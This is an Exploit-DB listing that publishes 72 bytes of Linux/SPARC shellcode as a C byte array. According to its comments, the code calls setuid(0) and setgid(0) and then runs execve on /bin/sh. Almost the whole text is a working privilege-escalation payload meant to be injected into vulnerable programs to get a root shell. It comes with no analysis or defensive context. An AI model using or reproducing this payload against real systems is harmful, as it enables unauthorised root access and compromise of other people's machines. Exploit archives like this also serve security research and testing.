Linux/SPARC - setreuid(0,0) + execve() Shellcode (72 bytes)

EDB-ID:

43546

Size:

72 bytes


Platform:

Linux_SPARC

Published:

2009-01-01

/*
 *  Linux/SPARC
 *
 *  setreuid(0, 0); (necessary, /bin/sh drops privs), standard execve().
 */

char c0de[] = /* by michel kaempf */

  /* setuid( 0 ); */
  "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10"
  /* setgid( 0 ); */
  "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10"
  /* Aleph One :) */
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10";